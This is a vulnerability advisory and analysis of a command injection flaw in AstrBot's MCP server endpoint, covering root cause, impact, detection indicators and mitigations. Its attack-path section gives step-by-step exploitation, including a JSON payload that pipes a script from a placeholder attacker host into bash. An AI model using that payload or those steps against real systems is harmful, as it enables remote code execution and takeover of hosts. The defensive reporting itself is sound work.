CVE-2026-6118: 
AstrBot vulnerability analysis and mitigation

CVE-2026-6118 is a command injection vulnerability in AstrBotDevs AstrBot affecting versions up to and including 4.22.1. The flaw resides in the add_mcp_server function within astrbot/dashboard/routes/tools.py, where user-supplied command and args fields in MCP server configurations are passed directly to subprocess execution without validation. The vulnerability was discovered on 2026-03-26, reported via a GitHub issue on 2026-03-30, and published to NVD on 2026-04-12. It carries a CVSS v3.1 base score of 6.3 (Medium) and a CVSS v4.0 base score of 5.3 (Medium), though the original reporter assessed it at 8.8 (High) given the full impact potential (Github Advisory, AstrBot Issue).

The root cause is improper neutralization of special elements in a command argument (CWE-77 / CWE-74). The add_mcp_server endpoint (POST /api/tools/mcp/add) accepts a JSON body containing arbitrary configuration fields including command and args. The code iterates over all user-supplied keys and copies them into the server configuration without any allowlist or sanitization, then immediately invokes test_mcp_server_connection(), which launches the specified command as a subprocess to test connectivity. Critically, the command executes even if the MCP connection test fails — the payload runs before any error is returned to the caller. A proof-of-concept was publicly disclosed in the GitHub issue, demonstrating arbitrary command execution via a crafted POST request with a JWT bearer token (AstrBot Issue, Github Advisory).

An authenticated attacker with low-privilege dashboard access can execute arbitrary system commands with the privileges of the AstrBot process. This enables data exfiltration, establishment of reverse shells for persistent backdoor access, and lateral movement to other systems on the network. The vulnerability also affects confidentiality, integrity, and availability of the host system, and when combined with default credential weaknesses (noted in the original report), the effective attack surface expands significantly (AstrBot Issue).

A public proof-of-concept exploit was disclosed in the GitHub issue report on 2026-03-30, demonstrating successful arbitrary command execution against AstrBot instances. The EPSS score is approximately 3.277–4.4%, placing it in the 87th percentile for exploitation likelihood within 30 days (Github Advisory). The vulnerability requires low-privilege authenticated access (JWT token), but the reporter noted it can be chained with default credential issues to lower the barrier further. A Nuclei detection template was added to the ProjectDiscovery nuclei-templates repository, indicating active tooling for scanning. There is no confirmed evidence of in-the-wild exploitation or CISA KEV listing at this time (AstrBot Issue).

1. Reconnaissance: Identify internet-facing AstrBot dashboard instances (default port 6185) using tools like Shodan or Censys, targeting versions ≤ 4.22.1.
2. Authentication: Obtain a valid JWT token by authenticating to the AstrBot dashboard — either via legitimate credentials or by exploiting default credentials if unchanged.
3. Craft malicious payload: Prepare a JSON body with command set to an arbitrary executable (e.g., /bin/sh) and args containing the desired shell command:

{
  "name": "evil-server",
  "command": "/bin/sh",
  "args": ["-c", "curl http://attacker.com/shell.sh | bash"],
  "active": false
}

4. Send the request: Submit a POST request to /api/tools/mcp/add with the JWT bearer token in the Authorization header and the malicious JSON body.
5. Command executes: The server's test_mcp_server_connection() method immediately launches the specified command as a subprocess. Even though the MCP connection test returns an error response, the payload has already executed with AstrBot process privileges.
6. Establish persistence: Use the initial execution to deploy a reverse shell, create a backdoor user, or exfiltrate data from the host system (AstrBot Issue).

• Network: Unexpected outbound connections from the AstrBot server process to external IPs (e.g., attacker-controlled C2 infrastructure); unusual DNS lookups originating from the AstrBot host.
• Logs: HTTP POST requests to /api/tools/mcp/add or /api/tools/mcp/update with command fields set to shell interpreters (e.g., /bin/sh, /bin/bash, cmd.exe, powershell.exe) or unexpected executables; MCP connection test failure messages (MCP connection test failed: Connection closed) in application logs paired with suspicious command values.
• File System: Unexpected files created in world-writable directories (e.g., /tmp/) by the AstrBot process; new scripts, cron jobs, or SSH authorized keys added by the AstrBot service account.
• Process: Unusual child processes spawned by the AstrBot Python process, such as /bin/sh, curl, wget, nc, or python with suspicious arguments; reverse shell processes with network connections to external hosts (AstrBot Issue).

Upgrade AstrBot to a version beyond 4.22.1 where the vulnerability has been patched. As a workaround, restrict network access to the AstrBot dashboard (default port 6185) to trusted IP addresses only, and enforce strong, non-default credentials for all dashboard accounts. The original reporter recommends implementing a command allowlist (e.g., only permitting npx, uvx, node, python, python3), validating args for shell metacharacters, and separating configuration saving from connection testing so commands are not executed immediately upon configuration submission. Monitor application logs for suspicious POST requests to the MCP endpoint (AstrBot Issue, Github Advisory).

The vulnerability was announced via the CVEnew Twitter/X account and mirrored on Bluesky shortly after NVD publication. The AstrBot project had not publicly responded to the issue report at the time of disclosure, which was noted critically by the reporter. A Nuclei detection template was subsequently added to the ProjectDiscovery nuclei-templates repository, reflecting community interest in automated scanning for this vulnerability. Red Hat also tracked the CVE in their security advisory database (Github Advisory).